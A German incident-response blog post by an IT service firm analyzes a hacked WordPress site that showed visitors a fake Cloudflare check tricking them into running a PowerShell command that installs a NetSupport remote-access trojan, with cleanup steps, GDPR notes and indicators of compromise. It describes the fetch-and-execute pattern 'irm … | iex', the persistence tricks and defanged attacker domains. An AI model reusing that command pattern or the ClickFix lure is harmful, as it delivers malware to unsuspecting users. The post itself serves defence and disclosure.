WordPress gehackt: Wenn eine falsche Cloudflare-Prüfung Ihre Besucher angreift – und warum ein Backup allein nicht hilft

Vor Kurzem landete ein Screenshot bei uns: Statt der Startseite einer WordPress-Website erschien eine „Cloudflare-Prüfung“, die dazu aufforderte, Win+R (Windows-Taste + R) zu drücken, einen Code einzufügen und mit Enter zu bestätigen. Kurz darauf war die Seite analysiert und bereinigt. Der Befund: WordPress gehackt – seit über einem Monat, sehr wahrscheinlich über eine bekannte Lücke im WordPress-Kern, mit zwei fremden Administratorkonten und einem Schadcode, der Windows-Besuchern einen Fernwartungs-Trojaner unterschieben sollte. Und die Infektion steckte bereits in der vorhandenen Sicherung – eine Wiederherstellung hätte sie nicht beseitigt, sondern mitgebracht. Die Lektion daraus: Ein Backup ist eine Momentaufnahme – auch vom Einbruch. Wer es ungeprüft zurückspielt, stellt den Angreifer gleich mit wieder her.

Die Masche heißt „ClickFix“ und ist kein Einzelfall. Wir schreiben den Fall bewusst offen auf – als Soforthilfe für alle, die eine solche Seite gesehen haben, und als Checkliste für alle, die selbst WordPress betreiben. Die betroffene Website bleibt anonym; Details, die sie erkennbar machen oder Angreifern helfen würden, lassen wir weg.

⚠️ Sie haben eine „Cloudflare-Prüfung“ mit Win+R-Anleitung gesehen? Das gilt jetzt:

Nur angesehen oder auf „Copy“ geklickt? Dann wurde nichts installiert. Seite schließen und irgendeinen anderen Text kopieren, damit der Befehl aus der Zwischenablage verschwindet.
Befehl mit Win+R eingefügt und Enter gedrückt? PC sofort vom Netz trennen (WLAN aus, Kabel ziehen) und nicht mehr für E-Mail, Banking oder die Website-Verwaltung nutzen.
Passwörter von einem anderen, sauberen Gerät aus ändern – zuerst E-Mail, dann Bank und Zahlungsdienste, dann Website und Hosting. Überall „von allen Geräten abmelden“ und die Zwei-Faktor-Anmeldung aktivieren.
Den PC fachkundig prüfen lassen – bei einem Treffer Windows neu installieren. Die typischen Spuren finden Sie weiter unten.
Es ist Ihre eigene Website? Lassen Sie sie von Ihrem Hoster oder IT-Partner über den Webserver auf eine statische Wartungsseite umleiten – nicht per WordPress-Plugin, denn jeder WordPress-Aufruf startet den Schadcode erneut. Beweise sichern, bevor Sie etwas löschen; die Prüf-Checkliste finden Sie weiter unten.

Falsche Cloudflare-Prüfung auf der eigenen Website – WordPress gehackt, und die Falle zeigt sich nur am Windows-PC

Was Besucher sahen: eine Cloudflare-Prüfung, die keine war

Der Schadcode baute in jede Seite der Website ein unsichtbares Lade-Skript ein. Dieses holte die eigentliche Falle von fremden Servern – und die bekamen nur ausgewählte Besucher zu sehen:

Nur Windows-PCs: Wer mit Chrome, Edge oder Firefox unter Windows kam, bekam nach rund zehn Sekunden eine Seite, die sich über die ganze Website legte. Mac, Linux, iPhone, Android und der Google-Crawler erhielten eine leere Antwort; auf schmalen Bildschirmen blendete sich die Cloudflare-Variante aus.
Zwei Verkleidungen: eine gefälschte Cloudflare-Seite mit „Verify you are human“, „Unusual Web Traffic Detected“ und erfundener Ray-ID – im Wechsel mit einer gefälschten Google-reCAPTCHA-Seite.
Eine „Bestätigung“ in drei Schritten: „Cloudflare protection – verify with code: …“, darunter die Anleitung: Win+R drücken, mit Strg+V einfügen, Enter drücken.
Ein Code, der keiner ist: Der angezeigte Code war Tarnung. Ein Klick auf „Copy“ legte einen ganz anderen Text in die Zwischenablage – einen PowerShell-Befehl.

Das erklärt, warum ein Befall lange unbemerkt bleiben kann: Wer seine Website am Handy oder am Mac kontrolliert, sieht nichts.

Merksatz: Eine echte Cloudflare- oder Google-Prüfung verlangt niemals, dass Sie etwas in Windows einfügen oder ausführen. Echte Prüfungen laufen vollständig im Browser.

Was der Befehl wirklich tut: ClickFix und ein Fernwartungs-Trojaner

ClickFix nutzt keine Lücke im Browser, sondern bringt den Besucher dazu, den Schadcode selbst zu starten. Die folgende Darstellung dient der Erkennung, nicht der Nachahmung – wir haben den Code ausschließlich statisch analysiert, nichts davon ausgeführt.

1. Der Tausch in der Zwischenablage. „Copy“ legt einen verschleierten PowerShell-Befehl nach dem Muster irm <Adresse> | iex ab: Text aus dem Internet laden und sofort ausführen. Win+R, Strg+V und Enter starten ihn mit den Rechten des angemeldeten Benutzers.

2. Das Nachladen. Das Skript versteckt sein Fenster, bricht auf Rechnern mit typischen Analyse-Namen ab und lädt eine als MP4-Video getarnte Datei. Darin steckt, verschlüsselt und komprimiert, ein Installationsprogramm.

3. Die Installation. Installiert wird NetSupport Manager – eine an sich legitime Fernwartungssoftware, hier mit einer bekannten geknackten Lizenz und umbenannt in app.exe. Sie landet in einem Ordner unter C:\Users\Public und startet über einen Autostart-Eintrag „SecurityHealth“, der nach Windows-Sicherheit klingt. Zum Schluss wird der Verlauf des Ausführen-Fensters gelöscht.

4. Die Fernsteuerung. Über Port 4333 meldet sich der Trojaner bei den Angreifern. Ab dann haben sie unbemerkt volle Kontrolle über Bildschirm, Tastatur, Dateien und Kommandozeile – genug, um gespeicherte Passwörter und angemeldete Sitzungen zu stehlen und weitere Schadsoftware nachzuladen.

Die gute Nachricht: Ansehen, „Ich bin kein Roboter“ anklicken und selbst „Copy“ installieren nichts. Die Täuschungsseite enthält weder Exploit noch automatischen Download. Gefährlich wird es erst mit Einfügen und Enter.

ClickFix-Kette von der gehackten WordPress-Seite bis zum ferngesteuerten PC – der Besucher startet den Schadcode selbst

Unsere Einschätzung: ClickFix funktioniert, weil der Mensch den Befehl selbst startet – keine technische Schutzschicht muss überwunden werden. Die nachgeladene Kette zeigt die typischen Merkmale des Werkzeugs, das Sekoia im Jänner 2026 als „IClickFix“ beschrieben hat, und stammt sehr wahrscheinlich aus derselben Kampagnenfamilie. Auch Rapid7 dokumentierte heuer ähnliche ClickFix-Kampagnen über gehackte WordPress-Seiten. Der wirksamste Schutz im Unternehmen ist eine Regel, die alle kennen: Keine Website verlangt je einen Befehl im Ausführen-Fenster.

Wie die Angreifer hineinkamen: durch eine Lücke, die seit Wochen geschlossen war

Wie wurde WordPress gehackt – und wann? Datenbank, Dateien und Backups ergeben eine klare Abfolge:

Anfang Juni 2026: Die interne Zeitsteuerung von WordPress (WP-Cron) verarbeitet keine Aufgaben mehr – damit laufen auch die automatischen Sicherheitsupdates nicht. Die Seite funktioniert trotzdem, niemand merkt es.
17. Juli 2026: WordPress 7.0.2 (für den älteren Zweig 6.9.5) schließt „wp2shell“, eine Kette aus zwei Lücken im WordPress-Kern (CVE-2026-63030 und CVE-2026-60137). Betroffen sind die Versionen 6.9.0 bis 6.9.4 und 7.0.0 bis 7.0.1, angreifbar ohne Anmeldung. Das Update erreicht diese Seite nicht rechtzeitig.
Ende August 2026: Ein Administratorkonto nach dem Muster w2s_… mit E-Mail auf .invalid wird angelegt; in derselben Sekunde werden zwei zuvor eingefügte, auf den 1. Jänner 2020 rückdatierte Datenbank-Einträge zuletzt verändert – Spuren, wie sie für wp2shell-Angriffe dokumentiert sind.
Tags darauf: Sehr wahrscheinlich mit diesem Konto wird über „Plugin hochladen“ ein getarntes Plugin installiert. Kurz darauf kopiert es sich ins Must-Use-Verzeichnis und legt ein zweites Admin-Konto sys_… an. Ab jetzt steckt das Lade-Skript in jeder Seite.

Warum „sehr wahrscheinlich“ und nicht „bewiesen“? Ein zusätzlicher Beleg – etwa Aufrufe der betroffenen Schnittstelle zur fraglichen Zeit – hätte in den Zugriffsprotokollen aus dem Zeitraum des Einbruchs stehen können, doch diese standen für die Analyse nicht zur Verfügung. Alle übrigen Spuren passen zu wp2shell, und die Seite stand nach allen Hinweisen noch auf einer betroffenen Version. Gestohlene Zugangsdaten halten wir für weniger wahrscheinlich – der Angreifer legte ein neues Konto an, statt ein bestehendes zu nutzen.

Die eigentliche Ursache war also weniger die Lücke selbst als ein Update-Mechanismus, der unbemerkt stehen geblieben war. Automatische Updates sind nur so gut wie die Kontrolle, dass sie laufen. Warum dahinter ein geregelter Prozess stehen muss, zeigt unser Beitrag 7 Vorteile von Patchmanagement für Unternehmen.

Unsere Einschätzung: Hier war sehr wahrscheinlich kein exotischer Zero-Day im Spiel – zwischen Patch und Einbruch lag über ein Monat. Später wurde die Seite zwar aktualisiert und die Lücke damit geschlossen. Den Angreifer störte das nicht mehr, er hatte längst eigene Admin-Konten. Ein Update schließt die Tür – aber nicht für den, der schon drinnen ist.

Wie sich der Schadcode versteckte – und warum Löschen allein nicht reicht

Ist WordPress gehackt, sucht man den Schadcode oft vergeblich in der Plugin-Liste. Hier steckt er in einer einzigen, stark verschleierten PHP-Datei, die sich als harmloses Plugin mit erfundenem Namen und Hersteller ausgibt; eine zweite Variante trägt einen anderen Namen. Es ist dieselbe Familie, die Sicherheitsforscher als „StateMesh“ beschrieben haben. Seine Tricks:

Selbstwiederherstellung. Das Plugin legt eine Kopie ins Must-Use-Verzeichnis (wp-content/mu-plugins/01-mu-<Name>.php.php). Fehlt sie oder wurde sie verändert, schreibt das Plugin sie beim nächsten Seitenaufruf neu.
Doppeltes Verstecken. Der Code blendet seine Zeile in der Plugin-Liste aus – und gleich den ganzen Reiter „Must-Use“.
Einschleusen in jede Seite. Über den Hook wp_head gibt er ein Skript der Form <script src="data:text/javascript;base64,…" defer test> aus – ohne Ausnahme für Administratoren oder Suchmaschinen. Frei blieben nur die Login-Seite und das Backend.
Fernsteuerbare Nachladeliste. Welche fremden Adressen das Skript lädt, steht in der Datenbank-Option jsonmetafield. Über eine Hintertür lässt sich diese Liste aus der Ferne austauschen – Details dazu veröffentlichen wir bewusst nicht.
Ein zusätzliches Admin-Konto. Der Code legt einen Administrator sys_ mit acht angehängten Zeichen an und versucht, dessen Zugangsdaten an eine externe Sammelstelle zu schicken. Diese Domain war laut Registrierungsdaten seit Mai 2026 stillgelegt – der Versand ist sehr wahrscheinlich gescheitert.
Ein fehlerhafter Versteck-Filter. Der Filter, der das sys_-Konto verbergen soll, ist fehlerhaft programmiert und stört möglicherweise auch die Benutzerabfragen von WordPress: Die öffentliche Benutzer-Schnittstelle (REST-API) lieferte eine leere Liste. Ob das auch die Benutzerliste im Backend betraf, ließ sich nicht mehr klären.

Was der Code selbst nicht konnte: direkt beliebigen Code auf dem Server ausführen. Ein enthaltener Datei-Infektor wird nie aufgerufen, infizierte Dateien fanden wir keine. Die eigentliche Macht lag in den Admin-Konten – mit ihnen ließ sich jederzeit neuer Code hochladen.

WordPress-Malware stellt sich selbst wieder her – wer nur löscht, was er sieht, holt den Angreifer zurück

Daraus folgt die wichtigste Regel jeder Bereinigung: Wer nur löscht, was er sieht, lädt den Angreifer wieder ein. Löscht man nur die Must-Use-Datei, schreibt das Plugin sie neu. Löscht man nur das Plugin, läuft die Must-Use-Kopie weiter – und die Admin-Konten bleiben. Und erneuert man nur die geheimen Schlüssel (Salts), sind zwar alle abgemeldet, doch die Passwörter der Angreifer-Konten gelten weiter. Dasselbe Muster – eine Verankerung, die einen einfachen Reset übersteht – haben wir in unserem Beitrag Microsoft 365 gehackt: Was jetzt zu tun ist beschrieben.

Warum auch das Backup infiziert war – und der Angreifer zurückkam

Wer merkt, dass WordPress gehackt wurde, greift meist zuerst zum Backup. Hier hätte das nichts genützt: Nach dem Einbruch wurde die Seite weiter ganz normal gesichert – und jede neue Sicherung enthielt den Einbruch gleich mit:

Die Sicherung: Eine vollständige Website-Sicherung (Dateien samt Datenbank) aus der Zeit nach dem Einbruch enthält bereits den Schadcode, beide Angreifer-Konten und die Nachladeliste. Wer sie zurückspielt, stellt alles mit wieder her.
Wochen später: Der Angreifer meldet sich erneut mit dem w2s_-Konto an – einen neuen Einbruch braucht er nicht. Wenig später ist eine zweite Schadcode-Variante hochgeladen und aktiv, danach öffnet er den Theme-Editor.
Zuletzt: Meldung der verdächtigen Seite, dann Analyse, Beweissicherung, Bereinigung und Härtung. Seit der Bereinigung liefert die Seite keinen Schadcode mehr aus.

Die entscheidende Erkenntnis: Ein Backup sichert alles, was zum Zeitpunkt der Sicherung da ist – auch den Einbruch. Diese Sicherung zurückzuspielen, hätte die Infektion nicht beseitigt, sondern wiederhergestellt. Sauber wäre nur eine Sicherung von vor dem Einbruch gewesen – besser noch mit etwas Abstand davor, denn erste verdächtige Datenbank-Einträge reichen bis Anfang August zurück. Und auch die müsste auf eine aktuelle WordPress-Version eingespielt werden, sonst bleibt die Lücke offen.

Ein zweiter Punkt betrifft Migrations-Plugins ganz allgemein: Manche legen ihre Archive innerhalb der Website ab. Ein solches Archiv enthält die komplette Datenbank samt Zugangsdaten – es gehört nie in den öffentlich erreichbaren Bereich und wird nach dem Import sofort gelöscht. Grundsätzlich empfehlen wir die 3-2-1-1-0-Regel für Backups: Die „0“ steht dort für null Fehler bei der Wiederherstellung – nach diesem Fall ergänzen wir: und null Befund bei der Prüfung auf Schadcode.

Infiziertes WordPress-Backup – Schadcode und Angreifer-Konten stecken in der Sicherung und kehren bei der Wiederherstellung zurück

Was wir daraus für unsere Kunden ableiten

Update-Läufe und Zeitsteuerung überwachen. Die Überwachung muss so eingerichtet sein, dass liegen gebliebene geplante Aufgaben und veraltete WordPress-Versionen auffallen.
Backups vor dem Zurückspielen prüfen. Vor jeder Wiederherstellung oder Migration gehören Administratorkonten, das Must-Use-Verzeichnis und die Integrität des WordPress-Kerns kontrolliert.
Backups außerhalb des Webroots. Sicherungen gehören nicht in den öffentlich erreichbaren Bereich; zusätzlich sollte der Webserver Backup-, Datenbank- und Log-Dateien sperren.
Admin-Zugänge regelmäßig abgleichen. Jedes Administratorkonto muss einer bekannten Person zugeordnet sein; unbekannte Konten fallen nur bei einem regelmäßigen Abgleich auf. Dieselbe Bestandsaufnahme gehört an den Anfang jeder strukturierten Übernahme beim IT-Betreuerwechsel, inklusive Erneuerung der übernommenen Admin-Zugänge.

Unsere Einschätzung: Solche Fälle erlebt niemand gern. Aber dieser zeigt, wo sich Angreifer einnisten: nicht in spektakulären Lücken, sondern in den Zwischenräumen – zwischen Patch und Update, zwischen Backup und Prüfung, zwischen Admin-Konto und Kontrolle. Genau an diesen Stellen setzen wir bei unseren Kunden an.

WordPress gehackt? So prüfen Sie Ihre eigene Seite

Die folgenden Prüfungen verändern nichts. Einige brauchen Zugriff auf Dateien oder Datenbank – über den Dateimanager Ihres Hosters, per FTP oder über Ihren IT-Partner:

Quelltext ansehen. Tippen Sie view-source: vor die Adresse Ihrer Startseite – so zeigt der Browser den Quelltext, ohne Skripte auszuführen. Suchen Sie nach data:text/javascript;base64 und defer test sowie nach einem Stylesheet mit id='ic-fonts-css' und unlesbarer Adresse.
Must-Use-Verzeichnis prüfen. Im Ordner wp-content/mu-plugins/ direkt auf Dateiebene nachsehen, nicht im Backend. Dateien mit doppelter Endung nach dem Muster 01-mu-*.php.php sind verdächtig.
Benutzerliste prüfen. Gibt es unbekannte Administratoren – etwa w2s_…, wp2_… oder sys_… mit E-Mail-Adressen auf .invalid oder noreply@? Liefert die öffentliche Benutzer-Schnittstelle (REST-API) unerwartet eine leere Liste, lohnt ebenfalls ein genauer Blick.
Datenbank durchsuchen nach den Optionen jsonmetafield und sub_valid_adm1.
Updates und Zeitsteuerung kontrollieren. Läuft WordPress auf dem aktuellen Sicherheitsstand (Ende September 2026: 7.1.2)? Werden geplante Aufgaben tatsächlich ausgeführt? Ein Indiz für einen stehenden WP-Cron: Hochgeladene Plugin-Archive werden nicht mehr automatisch gelöscht.
Kern-Dateien abgleichen und das ganze Hosting-Konto durchsuchen – nach WP_Sys_Optimiser, AV_COMPLETED und den Dateinamen aus der Liste unten. Das überlassen Sie am besten Fachleuten: Auf einer infizierten Seite startet jeder WordPress-Aufruf, auch per WP-CLI, den Schadcode mit.

Bei einem Treffer: Nicht einzelne Dateien löschen und hoffen, sondern Seite sperren, Beweise sichern und vollständig bereinigen – wie im nächsten Abschnitt beschrieben.

Dauerhaft gehören genau diese Punkte in ein kontinuierliches IT-Monitoring. Je früher ein Befall auffällt, desto kleiner der Schaden – genau dafür ist laufende Überwachung da.

WordPress-Malware entfernen: So haben wir die Seite bereinigt

Weil sich dieser Schadcode selbst wiederherstellt, entscheidet die Reihenfolge. So sind wir vorgegangen:

Beweise sichern. Protokolle, Schadcode, Konfiguration und ein Datenbank-Abzug wurden samt Prüfsummen geschützt abgelegt, getrennt von der Website.
Alle Schadcode-Dateien in einem Durchgang löschen. Plugin und beide Must-Use-Kopien gemeinsam, dazu das hochgeladene Archiv und nicht mehr benötigte Plugins.
Datenbank bereinigen. Schadcode-Optionen, gefälschte Einträge, verwaiste Meta-Daten und die Liste aktiver Plugins.
Angreifer-Konten löschen und alle abmelden. Beide fremden Administratoren entfernt, alle Sitzungen beendet, neue Salts erzeugt.
Alles aktualisieren. WordPress auf die aktuelle Version 7.1.2 gebracht, mit Kontrolle der Prüfsummen, dazu alle Plugins und das Theme.
Zeitsteuerung reparieren. WP-Cron auf eine zuverlässige serverseitige Ausführung umgestellt – und kontrolliert, dass die geplanten Aufgaben tatsächlich laufen.
Härten. Den Datei-Editor im Backend deaktiviert – der Angreifer hatte ihn geöffnet. Hochgeladene Dateien können keinen PHP-Code ausführen, Backup-, Datenbank- und Log-Dateien sind von außen nicht abrufbar, und wiederholte Fehlversuche beim Login führen zu einer Sperre. Warum kein Zugang automatisch vertrauenswürdig sein sollte, beschreibt unser Beitrag Zero Trust: Die Zukunft der Cybersicherheit.
Kontrollieren. Alle geprüften Seiten sind ohne Lade-Skript, die Härtungsmaßnahmen greifen.

Zu jeder Bereinigung gehört außerdem, sämtliche Zugangsdaten neu zu vergeben: alle Admin-Passwörter, Datenbank- und Hosting-Zugänge sowie die Schlüssel angebundener Dienste wie Mail- oder Zahlungsanbieter, dazu die Zwei-Faktor-Anmeldung für alle Admins. Neue Salts allein reichen dafür nicht: Sie melden alle ab, ändern aber kein Passwort.

Bereinigen heißt eben nicht, zu löschen, was man sieht – sondern zu finden, was sich versteckt, und die Tür zu schließen, durch die es hereinkam.

Befehl ausgeführt? Das müssen Sie jetzt tun

Wer den Befehl eingefügt und mit Enter bestätigt hat, sollte davon ausgehen, dass der PC fremdgesteuert werden kann. Trennen Sie ihn sofort vom Netz und ändern Sie die Passwörter von einem sauberen Gerät aus (siehe Kasten oben). Danach:

Fachkundig prüfen lassen. Typische Spuren: ein Autostart-Eintrag „SecurityHealth“ unter HKCU\…\Run, die Dateien app.exe, client32.ini und .ch_boot.cmd in einem Unterordner von C:\Users\Public, eine Datei .ch_… in %ProgramData%, ein Prozess app.exe von „NetSupport Ltd“ und Verbindungen über Port 4333.
Bei einem Treffer Windows neu installieren – einzelne Dateien zu löschen, reicht nicht sicher.
E-Mail-Weiterleitungen und Auszahlungskonten prüfen – und überall alle aktiven Sitzungen abmelden, damit gestohlene Anmeldungen nicht weiter gelten.
Im Unternehmen sofort die IT informieren. Ein ferngesteuerter Arbeitsplatz ist ein Einstieg ins Firmennetz.

Wichtig: Die Angreifer tauschen ihre Server laufend aus. Die Adresse, von der der Befehl bei unserer Analyse nachlud, war samt Trägerdatei erst kurz zuvor eingerichtet worden, die Fernsteuerungs-Domains Anfang September. Prüfen Sie deshalb die Spuren auf dem PC, nicht nur eine Domainliste.

Befehl ausgeführt? Zuerst den PC vom Netz trennen – dann alle Passwörter von einem sauberen Gerät aus ändern

Datenschutz: Was die DSGVO bei einer gehackten Website verlangt

Wurde WordPress gehackt und hatte ein Angreifer über Wochen Administrator-Zugriff auf eine Website mit personenbezogenen Daten, ist das grundsätzlich eine Datenschutzverletzung nach Art. 4 Z 12 DSGVO – auch ohne nachgewiesenen Datenabfluss. Für Seitenbetreiber heißt das (keine Rechtsberatung):

Unverzüglich, möglichst binnen 72 Stunden ab Kenntnis: Der Verantwortliche meldet den Vorfall der Datenschutzbehörde (Art. 33 Abs. 1 DSGVO) – außer die Verletzung führt voraussichtlich nicht zu einem Risiko für die Rechte und Freiheiten der Betroffenen. Eine spätere Meldung ist zu begründen.
Immer dokumentieren: Jede Datenschutzverletzung ist samt Fakten, Auswirkungen und ergriffenen Abhilfemaßnahmen zu dokumentieren (Art. 33 Abs. 5). Wer nicht meldet, hält dort auch die Risikobewertung fest, die dagegen spricht.
Rollen klären: Verantwortlicher im Sinne der DSGVO ist in der Regel der Website-Betreiber. Hoster und IT-Dienstleister sind meist Auftragsverarbeiter und informieren ihn unverzüglich (Art. 33 Abs. 2).
Zugriff und Datenumfang getrennt bewerten: Welche Daten gespeichert waren – etwa Kontaktanfragen, Kundenkonten, Bestellungen oder Zahlungsdaten –, beeinflusst das Risiko erheblich. Eine dokumentierte Bewertung braucht es in jedem Fall.
An die Besucher denken: Wurden Besucher über Ihre Seite angegriffen, klären Sie mit Ihrer Rechtsberatung, ob und wie Sie Kundinnen und Kunden informieren – etwa mit einem Hinweis, woran man die falsche Prüfung erkennt.

Zusätzlich empfehlen wir, die Erkennungsmerkmale an CERT.at weiterzugeben, damit andere betroffene Seiten gewarnt werden können.

Erkennungsmerkmale (IOCs) für Seitenbetreiber und IT-Teams

Für alle, die eigene Systeme oder Protokolle durchsuchen möchten: die Merkmale dieses Vorfalls. Domains sind mit [.] entschärft, damit sie nicht versehentlich anklickbar werden.

Erkennungsmerkmale – Stand Ende September 2026

WordPress-Dateien

Must-Use-Kopie nach dem Muster wp-content/mu-plugins/01-mu-*.php.php (doppelte Endung)
Dazu eine PHP-Datei gleichen Namens in einem Ordner unter wp-content/plugins/, im Dateikopf mit erfundenem Plugin-Namen und Hersteller

Code, Datenbank, Benutzer

Klasse WP_Sys_Optimiser, Konstante AV_COMPLETED
Optionen jsonmetafield und sub_valid_adm1
Admin-Konten w2s_ plus Hex-Zeichen (E-Mail auf @local.invalid) und sys_ plus acht Hex-Zeichen (E-Mail noreply@ der eigenen Domain)
Im Quelltext: <script src="data:text/javascript;base64,…" defer test> und ein Stylesheet id='ic-fonts-css' mit unlesbarer Adresse

Domains

Nachladeadresse des PowerShell-Befehls: maxlinkgoclo[.]com
Fernsteuerung, Port 4333: bikaloffff[.]com, otaiakkkkd[.]com
Sammelstelle für Zugangsdaten: limbokimbonotaaa[.]xyz
Die im Browser geladenen Lade- und Weiterleitungs-Domains wechseln häufig; IT-Teams erhalten sie von uns auf Anfrage.

Windows (NetSupport-Trojaner)

Autostart „SecurityHealth“ unter HKCU\Software\Microsoft\Windows\CurrentVersion\Run, startet .ch_boot.cmd
app.exe (NetSupport client32.exe V14.12, Lizenz „NSM1234“) in einem Unterordner von C:\Users\Public
Markerdatei %ProgramData%\.ch_9e6949747398, Verbindungen über Port 4333

SHA-256

Trägerdatei 1111.mp4: 7c9c9b59c3524dbc33fa898695e5fbd2a20cf7b2a1e5b209595424019c705d58
app.exe: 56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422

Ein Blick in die Zugriffsprotokolle lohnt ebenfalls: Auffällige, immer gleiche Anfragen, die statt einer normalen Seite eine kurze JSON-Antwort erhalten, können auf die Hintertür dieser Familie hinweisen – lassen Sie solche Treffer fachkundig bewerten.

Häufige Fragen (FAQ)

WordPress gehackt – was soll ich zuerst tun?

Lassen Sie die Seite über den Webserver auf eine statische Wartungsseite umleiten, nicht per WordPress-Plugin, und sichern Sie Beweise. Danach Schadcode-Dateien, Angreifer-Konten und Datenbank-Einträge in einem Durchgang entfernen, WordPress und alle Plugins aktualisieren und sämtliche Zugangsdaten erneuern. Im Zweifel ziehen Sie professionelle Hilfe hinzu.

Woran erkenne ich, dass meine WordPress-Seite gehackt wurde?

Typische Anzeichen sind unbekannte Administratoren, Dateien mit doppelter Endung wie 01-mu-….php.php im Ordner wp-content/mu-plugins, fremde Skripte im Quelltext und Updates, die seit Wochen nicht mehr laufen. Manche Schadcodes zeigen sich nur bestimmten Besuchern – prüfen Sie deshalb den Quelltext und die Dateien, nicht nur die Ansicht im Browser.

Habe ich mich infiziert, wenn ich die falsche Cloudflare-Prüfung nur gesehen habe?

Nein. Ansehen, das Häkchen setzen oder auf „Copy“ klicken installiert nichts. Gefährlich wird es erst, wenn Sie den kopierten Befehl mit Win+R einfügen und mit Enter ausführen.

Reicht es nicht, einfach ein Backup zurückzuspielen?

Nein. Ein Backup enthält alles, was zum Zeitpunkt der Sicherung auf der Seite war – in unserem Fall auch den Schadcode und die Angreifer-Konten. Sauber ist nur eine Sicherung von vor dem Einbruch, eingespielt auf eine aktuelle WordPress-Version.

Warum sehe ich den Schadcode nicht in meiner Plugin-Liste?

Weil er sich aktiv versteckt: Er blendet seine eigene Zeile und den ganzen Reiter „Must-Use“ aus. Prüfen Sie den Ordner wp-content/mu-plugins deshalb direkt per FTP oder über den Dateimanager Ihres Hosters.

Muss ich eine gehackte Website der Datenschutzbehörde melden?

Das hängt von der Risikobewertung ab. Hatte ein Angreifer Zugriff auf personenbezogene Daten, ist das grundsätzlich eine Datenschutzverletzung; gemeldet wird unverzüglich, möglichst binnen 72 Stunden ab Kenntnis. Dokumentieren müssen Sie den Vorfall in jedem Fall, wer nicht meldet, auch die Begründung. Dieser Hinweis ersetzt keine Rechtsberatung – lassen Sie Ihren Einzelfall rechtlich prüfen.

Fazit: WordPress ist nicht unsicher – unbeobachtetes WordPress schon

Dieser Fall zeigt, wie unspektakulär es oft beginnt, wenn WordPress gehackt wird: eine bekannte, längst geschlossene Lücke, eine Zeitsteuerung, die unbemerkt stehen blieb, und ein Backup, das den Einbruch mitsicherte. Jede Stufe für sich wäre beherrschbar gewesen – zusammen ergaben sie über einen Monat, in dem die Seite ein fremdes Lade-Skript an ihre Besucher auslieferte. Die gute Nachricht: Jede dieser Stufen lässt sich mit Routine abfangen – mit überwachten Updates, geprüften Backups außerhalb der Website und einem regelmäßigen Blick auf Admin-Konten und das Must-Use-Verzeichnis. Das ist kein Hexenwerk, sondern Handwerk, wenn es jemand verlässlich erledigt – genau das verstehen wir unter proaktiver IT-Betreuung.

Porträt von Robert Skawinski, ein lächelnder Mann im Anzug mit Krawatte vor neutralem Hintergrund.

So unterstützt Sie SKAWINSKI – Ihr IT-Partner für Website-Sicherheit, Monitoring und Patchmanagement

Als IT-Dienstleister für den DACH-Raum unterstützt die SKAWINSKI GmbH kleine und mittlere Unternehmen bei beidem: der gründlichen Bereinigung einer kompromittierten Website und dem laufenden Betrieb danach, mit überwachten Updates, geprüften Backups und Zugängen, die jemand im Blick behält – als Managed Services aus Österreich oder als IT-Betreuung für kleine Unternehmen ohne eigene IT-Abteilung.

✓ Soforthilfe, wenn Ihr WordPress gehackt wurde – Beweissicherung, gründliche Bereinigung, Ursachenanalyse und Härtung
✓ Patchmanagement und Update-Überwachung – WordPress, Plugins und Themes aktuell, Zeitsteuerung und Update-Läufe kontrolliert
✓ Managed Services aus Österreich – Monitoring, Backups außerhalb der Website und Sicherheitsupdates aus einer Hand
✓ IT-Healthcheck – über 170 Prüfpunkte in 14 Bereichen Ihrer IT-Infrastruktur, von Patchständen über Backups bis zu Identitäten und Zugängen
✓ IT-Betreuung für kleine Unternehmen – für Betriebe ohne eigene IT-Abteilung, persönlich und planbar
✓ Microsoft- und Exoscale-Partner mit über einem Jahrzehnt Erfahrung in der IT-Betreuung
✓ Lokaler Anbieter aus Eichgraben mit persönlichem Service vor Ort in Wien, Wien Umgebung und Niederösterreich
✓ Remote-Service europaweit verfügbar – schnelle Hilfe ohne geografische Grenzen

Verdacht, dass Ihr WordPress gehackt wurde? Rufen Sie uns direkt an: +43 660 509 2494. Ob Updates, Backups und Admin-Zugänge in Ihrer gesamten IT wirklich funktionieren, zeigt ein IT-Healthcheck: Sie erhalten in 2–3 Wochen einen Bericht mit priorisierten Maßnahmen.

„Wir fangen da an, wo andere aufhören.“

– Robert Skawinski · SKAWINSKI GmbH

Quellen: WordPress.org, „WordPress 7.0.2 Release“, 17.07.2026; WordPress.org, „WordPress 7.1.2 Release“, 22.09.2026; WordPress Security Advisories GHSA-ff9f-jf42-662q und GHSA-fpp7-x2x2-2mjf (CVE-2026-63030, CVE-2026-60137); Eye Security, „wp2shell: incident response guide“, 20.07.2026; Bitdefender, „Technical Advisory: wp2shell – Unauthenticated Remote Code Execution and Full Site Takeover in WordPress Core“, 27.07.2026; Sekoia, „Meet IClickFix: a widespread framework using the ClickFix tactic“, 29.01.2026; Rapid7, „When Trusted Websites Turn Malicious: WordPress Compromises Advance Global Stealer Operation“, 10.03.2026; eSentire, „Unpacking NetSupport RAT Loaders Delivered via ClickFix“, 23.10.2025; MD Pabel (DEV Community), „Malware Analysis of StateMesh in WordPress MU-Plugin Directory“, 01.05.2026; Art. 4 Z 12 und Art. 33 DSGVO; SKAWINSKI GmbH, eigene Vorfallsanalyse, September 2026.